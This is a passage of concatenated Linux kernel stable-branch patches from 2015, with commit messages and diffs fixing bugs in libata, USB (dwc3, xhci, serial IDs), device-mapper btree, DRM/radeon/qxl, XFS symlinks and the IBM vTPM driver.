deletion(-) diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index 5d47a040129a..4284d2b4f0d2 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -4150,9 +4150,10 @@ static const struct ata_blacklist_entry ata_device_blacklist [] = { { "ST3320[68]13AS", "SD1[5-9]", ATA_HORKAGE_NONCQ | ATA_HORKAGE_FIRMWARE_WARN }, - /* Seagate Momentus SpinPoint M8 seem to have FPMDA_AA issues */ + /* drives which fail FPDMA_AA activation (some may freeze afterwards) */ { "ST1000LM024 HN-M101MBB", "2AR10001", ATA_HORKAGE_BROKEN_FPDMA_AA }, { "ST1000LM024 HN-M101MBB", "2BA30001", ATA_HORKAGE_BROKEN_FPDMA_AA }, + { "VB0250EAVER", "HPG7", ATA_HORKAGE_BROKEN_FPDMA_AA }, /* Blacklist entries taken from Silicon Image 3124/3132 Windows driver .inf file - also several Linux problem reports */ -- cgit v1.2.3 From 2b265a7d06ff7ded5821a2447c97f36b020e99af Mon Sep 17 00:00:00 2001 From: Mikulas Patocka Date: Wed, 8 Jul 2015 13:06:12 -0400 Subject: libata: increase the timeout when setting transfer mode commit d531be2ca2f27cca5f041b6a140504999144a617 upstream. I have a ST4000DM000 disk. If Linux is booted while the disk is spun down, the command that sets transfer mode causes the disk to spin up. The spin-up takes longer than the default 5s timeout, so the command fails and timeout is reported. Fix this by increasing the timeout to 15s, which is enough for the disk to spin up. Signed-off-by: Mikulas Patocka Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libata-core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index 4284d2b4f0d2..a440a2034df8 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -4505,7 +4505,8 @@ static unsigned int ata_dev_set_xfermode(struct ata_device *dev) else /* In the ancient relic department - skip all of this */ return 0; - err_mask = ata_exec_internal(dev, &tf, NULL, DMA_NONE, NULL, 0, 0); + /* On some disks, this command causes spin-up, so we need longer timeout */ + err_mask = ata_exec_internal(dev, &tf, NULL, DMA_NONE, NULL, 0, 15000); DPRINTK("EXIT, err_mask=%x\n", err_mask); return err_mask; -- cgit v1.2.3 From 265f7f397d9e22c9dab190f568840e4885f0d081 Mon Sep 17 00:00:00 2001 From: Subbaraya Sundeep Bhatta Date: Thu, 21 May 2015 15:46:47 +0530 Subject: usb: dwc3: gadget: return error if command sent to DGCMD register fails commit 891b1dc022955d36cf4c0f42d383226a930db7ed upstream. We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: b09bb64239c8 (usb: dwc3: gadget: implement Global Command support) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman --- drivers/usb/dwc3/gadget.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/drivers/usb/dwc3/gadget.c b/drivers/usb/dwc3/gadget.c index 87f8fc63b3e1..be6fa45be101 100644 --- a/drivers/usb/dwc3/gadget.c +++ b/drivers/usb/dwc3/gadget.c @@ -319,6 +319,8 @@ int dwc3_send_gadget_generic_command(struct dwc3 *dwc, int cmd, u32 param) if (!(reg & DWC3_DGCMD_CMDACT)) { dev_vdbg(dwc->dev, "Command Complete --> %d\n", DWC3_DGCMD_STATUS(reg)); + if (DWC3_DGCMD_STATUS(reg)) + return -EINVAL; return 0; } -- cgit v1.2.3 From de03d21864e76b448bb343c1aa1c4b943e05ce56 Mon Sep 17 00:00:00 2001 From: Subbaraya Sundeep Bhatta Date: Thu, 21 May 2015 15:46:48 +0530 Subject: usb: dwc3: gadget: return error if command sent to DEPCMD register fails commit 76e838c9f7765f9a6205b4d558d75a66104bc60d upstream. We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: 72246da40f37 (usb: Introduce DesignWare USB3 DRD Driver) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman --- drivers/usb/dwc3/gadget.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/drivers/usb/dwc3/gadget.c b/drivers/usb/dwc3/gadget.c index be6fa45be101..6e70c88b25fb 100644 --- a/drivers/usb/dwc3/gadget.c +++ b/drivers/usb/dwc3/gadget.c @@ -357,6 +357,8 @@ int dwc3_send_gadget_ep_cmd(struct dwc3 *dwc, unsigned ep, if (!(reg & DWC3_DEPCMD_CMDACT)) { dev_vdbg(dwc->dev, "Command Complete --> %d\n", DWC3_DEPCMD_STATUS(reg)); + if (DWC3_DEPCMD_STATUS(reg)) + return -EINVAL; return 0; } -- cgit v1.2.3 From 4b50e88dcd2ae15f26d431a8d1c177f233dcb5cd Mon Sep 17 00:00:00 2001 From: John Youn Date: Mon, 17 Sep 2001 00:00:00 -0700 Subject: usb: dwc3: Reset the transfer resource index on SET_INTERFACE commit aebda618718157a69c0dc0adb978d69bc2b8723c upstream. This fixes an issue introduced in commit b23c843992b6 (usb: dwc3: gadget: fix DEPSTARTCFG for non-EP0 EPs) that made sure we would only use DEPSTARTCFG once per SetConfig. The trick is that we should use one DEPSTARTCFG per SetConfig *OR* SetInterface. SetInterface was completely missed from the original patch. This problem became aparent after commit 76e838c9f776 (usb: dwc3: gadget: return error if command sent to DEPCMD register fails) added checking of the return status of device endpoint commands. 'Set Endpoint Transfer Resource' command was caught failing occasionally. This is because the Transfer Resource Index was not getting reset during a SET_INTERFACE request. Finally, to fix the issue, was we have to do is make sure that our start_config_issued flag gets reset whenever we receive a SetInterface request. To verify the problem (and its fix), all we have to do is run test 9 from testusb with 'testusb -t 9 -s 2048 -a -c 5000'. Tested-by: Huang Rui Tested-by: Subbaraya Sundeep Bhatta Fixes: b23c843992b6 (usb: dwc3: gadget: fix DEPSTARTCFG for non-EP0 EPs) Signed-off-by: John Youn Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman --- drivers/usb/dwc3/ep0.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/drivers/usb/dwc3/ep0.c b/drivers/usb/dwc3/ep0.c index 6cd418f6ac07..57d7ec6c8090 100644 --- a/drivers/usb/dwc3/ep0.c +++ b/drivers/usb/dwc3/ep0.c @@ -718,6 +718,10 @@ static int dwc3_ep0_std_request(struct dwc3 *dwc, struct usb_ctrlrequest *ctrl) dev_vdbg(dwc->dev, "USB_REQ_SET_ISOCH_DELAY\n"); ret = dwc3_ep0_set_isoch_delay(dwc, ctrl); break; + case USB_REQ_SET_INTERFACE: + dev_vdbg(dwc->dev, "USB_REQ_SET_INTERFACE\n"); + dwc->start_config_issued = false; + /* Fall through */ default: dev_vdbg(dwc->dev, "Forwarding to gadget driver\n"); ret = dwc3_ep0_delegate_req(dwc, ctrl); -- cgit v1.2.3 From fe4b246602ac4efaf78e8d4d40e6f6ba5a8f58ca Mon Sep 17 00:00:00 2001 From: Dan Carpenter Date: Mon, 18 May 2015 15:29:51 +0300 Subject: USB: devio: fix a condition in async_completed() commit 83ed07c5db71bc02bd646d6eb60b48908235cdf9 upstream. Static checkers complain that the current condition is never true. It seems pretty likely that it's a typo and "URB" was intended instead of "USB". Fixes: 3d97ff63f899 ('usbdevfs: Use scatter-gather lists for large bulk transfers') Signed-off-by: Dan Carpenter Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman --- drivers/usb/core/devio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/usb/core/devio.c b/drivers/usb/core/devio.c index 78ddfb43750a..4c011cfb1da3 100644 --- a/drivers/usb/core/devio.c +++ b/drivers/usb/core/devio.c @@ -513,7 +513,7 @@ static void async_completed(struct urb *urb) snoop(&urb->dev->dev, "urb complete\n"); snoop_urb(urb->dev, as->userurb, urb->pipe, urb->actual_length, as->status, COMPLETE, NULL, 0); - if ((urb->transfer_flags & URB_DIR_MASK) == USB_DIR_IN) + if ((urb->transfer_flags & URB_DIR_MASK) == URB_DIR_IN) snoop_urb_data(urb, urb->actual_length); if (as->status < 0 && as->bulk_addr && as->status != -ECONNRESET && -- cgit v1.2.3 From 73ee170a4811341440531e27b7d379ac4cca7f22 Mon Sep 17 00:00:00 2001 From: Peter Sanford Date: Thu, 25 Jun 2015 17:40:05 -0700 Subject: USB: cp210x: add ID for Aruba Networks controllers commit f98a7aa81eeeadcad25665c3501c236d531d4382 upstream. Add the USB serial console device ID for Aruba Networks 7xxx series controllers which have a USB port for their serial console. Signed-off-by: Peter Sanford Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/usb/serial/cp210x.c b/drivers/usb/serial/cp210x.c index ab1c5e8ac27f..dd84416a23cd 100644 --- a/drivers/usb/serial/cp210x.c +++ b/drivers/usb/serial/cp210x.c @@ -187,6 +187,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x1FB9, 0x0602) }, /* Lake Shore Model 648 Magnet Power Supply */ { USB_DEVICE(0x1FB9, 0x0700) }, /* Lake Shore Model 737 VSM Controller */ { USB_DEVICE(0x1FB9, 0x0701) }, /* Lake Shore Model 776 Hall Matrix */ + { USB_DEVICE(0x2626, 0xEA60) }, /* Aruba Networks 7xxx USB Serial Console */ { USB_DEVICE(0x3195, 0xF190) }, /* Link Instruments MSO-19 */ { USB_DEVICE(0x3195, 0xF280) }, /* Link Instruments MSO-28 */ { USB_DEVICE(0x3195, 0xF281) }, /* Link Instruments MSO-28 */ -- cgit v1.2.3 From 459019ced009796f2ed80c90a262411ffc8482f2 Mon Sep 17 00:00:00 2001 From: Claudio Cappelli Date: Wed, 10 Jun 2015 20:38:30 +0200 Subject: USB: option: add 2020:4000 ID commit f6d7fb37f92622479ef6da604f27561f5045ba1e upstream. Add device Olivetti Olicard 300 (Network Connect: MT6225) - IDs 2020:4000. T: Bus=01 Lev=02 Prnt=04 Port=00 Cnt=01 Dev#= 10 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=2020 ProdID=4000 Rev=03.00 S: Manufacturer=Network Connect S: Product=MT6225 C: #Ifs= 7 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 1 Cls=02(commc) Sub=0e Prot=00 Driver=cdc_mbim I: If#= 1 Alt= 1 #EPs= 2 Cls=0a(data ) Sub=00 Prot=02 Driver=cdc_mbim I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=02 Prot=01 Driver=option I: If#= 3 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 5 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 6 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Signed-off-by: Claudio Cappelli Suggested-by: Lars Melin [johan: amend commit message with devices info ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/option.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/usb/serial/option.c b/drivers/usb/serial/option.c index 8b3484134ab0..096438e4fb0c 100644 --- a/drivers/usb/serial/option.c +++ b/drivers/usb/serial/option.c @@ -1755,6 +1755,7 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE_AND_INTERFACE_INFO(0x2001, 0x7d03, 0xff, 0x00, 0x00) }, { USB_DEVICE_AND_INTERFACE_INFO(0x07d1, 0x3e01, 0xff, 0xff, 0xff) }, /* D-Link DWM-152/C1 */ { USB_DEVICE_AND_INTERFACE_INFO(0x07d1, 0x3e02, 0xff, 0xff, 0xff) }, /* D-Link DWM-156/C1 */ + { USB_DEVICE_INTERFACE_CLASS(0x2020, 0x4000, 0xff) }, /* OLICARD300 - MT6225 */ { USB_DEVICE(INOVIA_VENDOR_ID, INOVIA_SEW858) }, { USB_DEVICE(VIATELECOM_VENDOR_ID, VIATELECOM_PRODUCT_CDS7) }, { } /* Terminating entry */ -- cgit v1.2.3 From e70c51ae7f8f5e1389cb51cbadc4a1d60f10f7fd Mon Sep 17 00:00:00 2001 From: AMAN DEEP Date: Tue, 21 Jul 2015 17:20:27 +0300 Subject: usb: xhci: Bugfix for NULL pointer deference in xhci_endpoint_init() function commit 3496810663922617d4b706ef2780c279252ddd6a upstream. virt_dev->num_cached_rings counts on freed ring and is not updated correctly. In xhci_free_or_cache_endpoint_ring() function, the free ring is added into cache and then num_rings_cache is incremented as below: virt_dev->ring_cache[rings_cached] = virt_dev->eps[ep_index].ring; virt_dev->num_rings_cached++; here, free ring pointer is added to a current index and then index is incremented. So current index always points to empty location in the ring cache. For getting available free ring, current index should be decremented first and then corresponding ring buffer value should be taken from ring cache. But In function xhci_endpoint_init(), the num_rings_cached index is accessed before decrement. virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; virt_dev->num_rings_cached--; This is bug in manipulating the index of ring cache. And it should be as below: virt_dev->num_rings_cached--; virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; Signed-off-by: Aman Deep Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman --- drivers/usb/host/xhci-mem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/usb/host/xhci-mem.c b/drivers/usb/host/xhci-mem.c index 677f032482f7..31bed5f7d0eb 100644 --- a/drivers/usb/host/xhci-mem.c +++ b/drivers/usb/host/xhci-mem.c @@ -1400,10 +1400,10 @@ int xhci_endpoint_init(struct xhci_hcd *xhci, /* Attempt to use the ring cache */ if (virt_dev->num_rings_cached == 0) return -ENOMEM; + virt_dev->num_rings_cached--; virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; - virt_dev->num_rings_cached--; xhci_reinit_cached_ring(xhci, virt_dev->eps[ep_index].new_ring, 1, type); } -- cgit v1.2.3 From c3055bd86da041225bc2e156ec0574b090c36e43 Mon Sep 17 00:00:00 2001 From: Dennis Yang Date: Fri, 26 Jun 2015 15:25:48 +0100 Subject: dm btree remove: fix bug in redistribute3 commit 4c7e309340ff85072e96f529582d159002c36734 upstream. redistribute3() shares entries out across 3 nodes. Some entries were being moved the wrong way, breaking the ordering. This manifested as a BUG() in dm-btree-remove.c:shift() when entries were removed from the btree. For additional context see: https://www.redhat.com/archives/dm-devel/2015-May/msg00113.html Signed-off-by: Dennis Yang Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman --- drivers/md/persistent-data/dm-btree-remove.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/drivers/md/persistent-data/dm-btree-remove.c b/drivers/md/persistent-data/dm-btree-remove.c index b88757cd0d1d..a03178e91a79 100644 --- a/drivers/md/persistent-data/dm-btree-remove.c +++ b/drivers/md/persistent-data/dm-btree-remove.c @@ -309,8 +309,8 @@ static void redistribute3(struct dm_btree_info *info, struct btree_node *parent, if (s < 0 && nr_center < -s) { /* not enough in central node */ - shift(left, center, nr_center); - s = nr_center - target; + shift(left, center, -nr_center); + s += nr_center; shift(left, right, s); nr_right += s; } else @@ -323,7 +323,7 @@ static void redistribute3(struct dm_btree_info *info, struct btree_node *parent, if (s > 0 && nr_center < s) { /* not enough in central node */ shift(center, right, nr_center); - s = target - nr_center; + s -= nr_center; shift(left, right, s); nr_left -= s; } else -- cgit v1.2.3 From 2554f6d1934d42459f56071dacef7fcbd886d0ad Mon Sep 17 00:00:00 2001 From: Joe Thornber Date: Fri, 3 Jul 2015 14:51:32 +0100 Subject: dm btree: silence lockdep lock inversion in dm_btree_del() commit 1c7518794a3647eb345d59ee52844e8a40405198 upstream. Allocate memory using GFP_NOIO when deleting a btree. dm_btree_del() can be called via an ioctl and we don't want to recurse into the FS or block layer. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman --- drivers/md/persistent-data/dm-btree.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/md/persistent-data/dm-btree.c b/drivers/md/persistent-data/dm-btree.c index 0a7592e88811..e3ecb0b824b5 100644 --- a/drivers/md/persistent-data/dm-btree.c +++ b/drivers/md/persistent-data/dm-btree.c @@ -240,7 +240,7 @@ int dm_btree_del(struct dm_btree_info *info, dm_block_t root) int r; struct del_stack *s; - s = kmalloc(sizeof(*s), GFP_KERNEL); + s = kmalloc(sizeof(*s), GFP_NOIO); if (!s) return -ENOMEM; s->tm = info->tm; -- cgit v1.2.3 From 1ac6c9e2747ae5b3cb10e3a940281b9be242cff0 Mon Sep 17 00:00:00 2001 From: Tomas Winkler Date: Thu, 16 Jul 2015 15:50:45 +0200 Subject: mmc: block: Add missing mmc_blk_put() in power_ro_lock_show() commit 9098f84cced870f54d8c410dd2444cfa61467fa0 upstream. Enclosing mmc_blk_put() is missing in power_ro_lock_show() sysfs handler, let's add it. Fixes: add710eaa886 ("mmc: boot partition ro lock support") Signed-off-by: Tomas Winkler Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman --- drivers/mmc/card/block.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/drivers/mmc/card/block.c b/drivers/mmc/card/block.c index 56998eca1a8d..32fc557bca43 100644 --- a/drivers/mmc/card/block.c +++ b/drivers/mmc/card/block.c @@ -202,6 +202,8 @@ static ssize_t power_ro_lock_show(struct device *dev, ret = snprintf(buf, PAGE_SIZE, "%d\n", locked); + mmc_blk_put(md); + return ret; } -- cgit v1.2.3 From 840ea3bbb6d3090a0f72559e947475d4ef7f41f2 Mon Sep 17 00:00:00 2001 From: Frediano Ziglio Date: Wed, 3 Jun 2015 12:09:09 +0100 Subject: drm/qxl: Do not cause spice-server to clean our objects commit 2fa19535ca6abcbfd1ccc9ef694db52f49f77747 upstream. If objects are moved back from system memory to VRAM (and spice id created again) memory is already initialized so we need to set flag to not clear memory. If you don't do it after a while using desktop many images turns to black or transparents. Signed-off-by: Frediano Ziglio Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/qxl/qxl_cmd.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/gpu/drm/qxl/qxl_cmd.c b/drivers/gpu/drm/qxl/qxl_cmd.c index f86771481317..5a48d7419baf 100644 --- a/drivers/gpu/drm/qxl/qxl_cmd.c +++ b/drivers/gpu/drm/qxl/qxl_cmd.c @@ -500,6 +500,7 @@ int qxl_hw_surface_alloc(struct qxl_device *qdev, cmd = (struct qxl_surface_cmd *)qxl_release_map(qdev, release); cmd->type = QXL_SURFACE_CMD_CREATE; + cmd->flags = QXL_SURF_FLAG_KEEP_DATA; cmd->u.surface_create.format = surf->surf.format; cmd->u.surface_create.width = surf->surf.width; cmd->u.surface_create.height = surf->surf.height; -- cgit v1.2.3 From d2996f66a49aa58efe057c91d4d5bc3fa6d2af0f Mon Sep 17 00:00:00 2001 From: Alex Deucher Date: Fri, 15 May 2015 11:48:52 -0400 Subject: drm/radeon: take the mode_config mutex when dealing with hpds (v2) commit 39fa10f7e21574a70cecf1fed0f9b36535aa68a0 upstream. Since we are messing with state in the worker. v2: drop the changes in the mst worker Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/radeon/radeon_irq_kms.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/drivers/gpu/drm/radeon/radeon_irq_kms.c b/drivers/gpu/drm/radeon/radeon_irq_kms.c index 1fe12ab5c5ea..db83d075606e 100644 --- a/drivers/gpu/drm/radeon/radeon_irq_kms.c +++ b/drivers/gpu/drm/radeon/radeon_irq_kms.c @@ -73,10 +73,12 @@ static void radeon_hotplug_work_func(struct work_struct *work) struct drm_mode_config *mode_config = &dev->mode_config; struct drm_connector *connector; + mutex_lock(&mode_config->mutex); if (mode_config->num_connector) { list_for_each_entry(connector, &mode_config->connector_list, head) radeon_connector_hotplug(connector); } + mutex_unlock(&mode_config->mutex); /* Just fire off a uevent and let userspace tell us what to do */ drm_helper_hpd_irq_event(dev); } -- cgit v1.2.3 From 391cf875e2717a4e7c615db6fe093b4a40002f1b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Michel=20D=C3=A4nzer?= Date: Fri, 3 Jul 2015 10:02:27 +0900 Subject: drm/radeon: Don't flush the GART TLB if rdev->gart.ptr == NULL MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 233709d2cd6bbaaeda0aeb8d11f6ca7f98563b39 upstream. This can be the case when the GPU is powered off, e.g. via vgaswitcheroo or runpm. When the GPU is powered up again, radeon_gart_table_vram_pin flushes the TLB after setting rdev->gart.ptr to non-NULL. Fixes panic on powering off R7xx GPUs. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=61529 Reviewed-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/radeon/radeon_gart.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/drivers/gpu/drm/radeon/radeon_gart.c b/drivers/gpu/drm/radeon/radeon_gart.c index 2915a1c56934..c4bb0bc2a1d9 100644 --- a/drivers/gpu/drm/radeon/radeon_gart.c +++ b/drivers/gpu/drm/radeon/radeon_gart.c @@ -251,8 +251,10 @@ void radeon_gart_unbind(struct radeon_device *rdev, unsigned offset, } } } - mb(); - radeon_gart_tlb_flush(rdev); + if (rdev->gart.ptr) { + mb(); + radeon_gart_tlb_flush(rdev); + } } /** @@ -294,8 +296,10 @@ int radeon_gart_bind(struct radeon_device *rdev, unsigned offset, } } } - mb(); - radeon_gart_tlb_flush(rdev); + if (rdev->gart.ptr) { + mb(); + radeon_gart_tlb_flush(rdev); + } return 0; } -- cgit v1.2.3 From e92ad5b7ae75b49d69419568168c410fcdd9d7b8 Mon Sep 17 00:00:00 2001 From: Zhao Junwang Date: Tue, 7 Jul 2015 17:08:35 +0800 Subject: drm: add a check for x/y in drm_mode_setcrtc commit 01447e9f04ba1c49a9534ae6a5a6f26c2bb05226 upstream. legacy setcrtc ioctl does take a 32 bit value which might indeed overflow the checks of crtc_req->x > INT_MAX and crtc_req->y > INT_MAX aren't needed any more with this v2: -polish the annotation according to Daniel's comment Cc: Daniel Vetter Signed-off-by: Zhao Junwang Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman --- drivers/gpu/drm/drm_crtc.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c index 8759d699bd8e..c24c35606836 100644 --- a/drivers/gpu/drm/drm_crtc.c +++ b/drivers/gpu/drm/drm_crtc.c @@ -1955,8 +1955,11 @@ int drm_mode_setcrtc(struct drm_device *dev, void *data, if (!drm_core_check_feature(dev, DRIVER_MODESET)) return -EINVAL; - /* For some reason crtc x/y offsets are signed internally. */ - if (crtc_req->x > INT_MAX || crtc_req->y > INT_MAX) + /* + * Universal plane src offsets are only 16.16, prevent havoc for + * drivers using universal plane code internally. + */ + if (crtc_req->x & 0xffff0000 || crtc_req->y & 0xffff0000) return -ERANGE; drm_modeset_lock_all(dev); -- cgit v1.2.3 From 720e6d218692b95af7f3b2032d53cf20f7c9ff9a Mon Sep 17 00:00:00 2001 From: Eric Sandeen Date: Mon, 22 Jun 2015 09:42:48 +1000 Subject: xfs: fix remote symlinks on V5/CRC filesystems commit 2ac56d3d4bd625450a54d4c3f9292d58f6b88232 upstream. If we create a CRC filesystem, mount it, and create a symlink with a path long enough that it can't live in the inode, we get a very strange result upon remount: # ls -l mnt total 4 lrwxrwxrwx. 1 root root 929 Jun 15 16:58 link -> XSLM XSLM is the V5 symlink block header magic (which happens to be followed by a NUL, so the string looks terminated). xfs_readlink_bmap() advanced cur_chunk by the size of the header for CRC filesystems, but never actually used that pointer; it kept reading from bp->b_addr, which is the start of the block, rather than the start of the symlink data after the header. Looks like this problem goes back to v3.10. Fixing this gets us reading the proper link target, again. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman --- fs/xfs/xfs_symlink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 195a403e1522..61dbe1958a30 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -272,7 +272,7 @@ xfs_readlink_bmap( cur_chunk += sizeof(struct xfs_dsymlink_hdr); } - memcpy(link + offset, bp->b_addr, byte_cnt); + memcpy(link + offset, cur_chunk, byte_cnt); pathlen -= byte_cnt; offset += byte_cnt; -- cgit v1.2.3 From 8f24d7c7cccae54f6025206479f5d54f35c65519 Mon Sep 17 00:00:00 2001 From: "Hon Ching \\\\(Vicky\\\\) Lo" Date: Fri, 22 May 2015 13:23:02 -0400 Subject: vTPM: set virtual device before passing to ibmvtpm_reset_crq commit 9d75f08946e8485109458ccf16f714697c207f41 upstream. tpm_ibmvtpm_probe() calls ibmvtpm_reset_crq(ibmvtpm) without having yet set the virtual device in the ibmvtpm structure. So in ibmvtpm_reset_crq, the phype call contains empty unit addresses, ibmvtpm->vdev->unit_address. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Joy Latten Reviewed-by: Ashley Lai Fixes: 132f76294744 ("drivers/char/tpm: Add new device driver to support IBM vTPM") Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman --- drivers/char/tpm/tpm_ibmvtpm.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/drivers/char/tpm/tpm_ibmvtpm.c b/drivers/char/tpm/tpm_ibmvtpm.c index 09df26f9621d..a6524c3efdf7 100644 --- a/drivers/char/tpm/tpm_ibmvtpm.c +++ b/drivers/char/tpm/tpm_ibmvtpm.c @@ -618,6 +618,9 @@ static int tpm_ibmvtpm_probe(struct vio_dev *vio_dev, goto cleanup; } + ibmvtpm->dev = dev; + ibmvtpm->vdev = vio_dev; + crq_q = &ibmvtpm->crq_queue; crq_q->crq_addr = (struct ibmvtpm_crq *)get_zeroed_page(GFP_KERNEL); if (!crq_q->crq_addr) { @@ -662,8 +665,6 @@ static int tpm_ibmvtpm_probe(struct vio_dev *vio_dev, crq_q->index = 0; - ibmvtpm->dev = dev; - ibmvtpm->vdev = vio_dev; TPM_VPRIV(chip) = (void *)ibmvtpm; spin_lock_init(&ibmvtpm->rtce_lock); -- cgit v1.2.3 From 143482d1d9a077c5bef978f3c97d3790d8946d27 Mon Sep 17 00:00:00 2001 From: Arne Fitzenreiter Date: Wed, 15 Jul 2015 13:54:36 +0200 Subject: libata: add ATA_HORKAGE_NOTRIM commit 71d126fd28de2d4d9b7b2088dbccd7ca62fad6e0 upstream. Some devices lose data on TRIM whether queued or not. This patch adds a horkage to disable TRIM. tj: Collapsed unnecessary if() nesting. Signed-off-by: Arne Fitzenreiter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libata-scsi.c | 3 ++- include/linux/libata.h | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/drivers/ata/libata-scsi.c b/drivers/ata/libata-scsi.c index 9933b4db7caf..04e7db668362 100644 --- a/drivers/ata/libata-scsi.c +++ b/drivers/ata/libata-scsi.c @@ -2512,7 +2512,8 @@ static unsigned int ata_scsiop_read_cap(struct ata_scsi_args *args, u8 *rbuf) rbuf[14] = (lowest_aligned >> 8) & 0x3f; rbuf[15] = lowest_aligned; - if (ata_id_has_trim(args->id)) { + if (ata_id_has_trim(args->id) && + !(dev->horkage & ATA_HORKAGE_NOTRIM)) { rbuf[14] |= 0x80; /* TPE */ if (ata_id_has_zero_after_trim(args->id)) diff --git a/include/linux/libata.h b/include/linux/libata.h index 8e5d45fa83cf..8ad0771b88ab 100644 --- a/include/linux/libata.h +++ b/include/linux/libata.h @@ -409,6 +409,7 @@ enum { ATA_HORKAGE_ATAPI_DMADIR = (1 << 18), /* device requires dmadir */ ATA_HORKAGE_NOLPM = (1 << 20), /* don't use LPM */ ATA_HORKAGE_WD_BROKEN_LPM = (1 << 21), /* some WDs have broken LPM */ + ATA_HORKAGE_NOTRIM = (1 << 24), /* don't use TRIM */ /* DMA mask for user DMA control: User visible values; DO NOT renumber */ -- cgit v1.2.3 From 5484ab147d8081b7b84e0b94981cb738bd1620cf Mon Sep 17 00:00:00 2001 From: Arne Fitzenreiter Date: Wed, 15 Jul 2015 13:54:37 +0200 Subject: libata: force disable trim for SuperSSpeed S238 commit cda57b1b05cf7b8b99ab4b732bea0b05b6c015cc upstream. This device loses blocks, often the partition table area, on trim. Disable TRIM. http://pcengines.ch/msata16a.htm Signed-off-by: Arne Fitzenreiter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libata-core.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index a440a2034df8..53d35b6fd8bb 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -4201,6 +4201,9 @@ static const struct ata_blacklist_entry ata_device_blacklist [] = { { "PIONEER DVD-RW DVR-212D", NULL, ATA_HORKAGE_NOSETXFER 